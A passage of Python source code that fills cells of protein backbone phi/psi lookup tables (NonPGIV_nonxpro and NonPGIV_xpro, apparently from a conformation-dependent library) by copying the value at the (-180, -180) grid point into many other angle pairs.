NonPGIV_nonxpro[(170, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_xpro = cdl_database["NonPGIV_xpro"]
NonPGIV_xpro[(-180, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-180, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-170, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-160, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-150, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-140, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-130, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-120, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-110, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-100, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-90, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-80, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-70, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(-60, -20)]=NonPGIV_xpro[(-180, -180)]
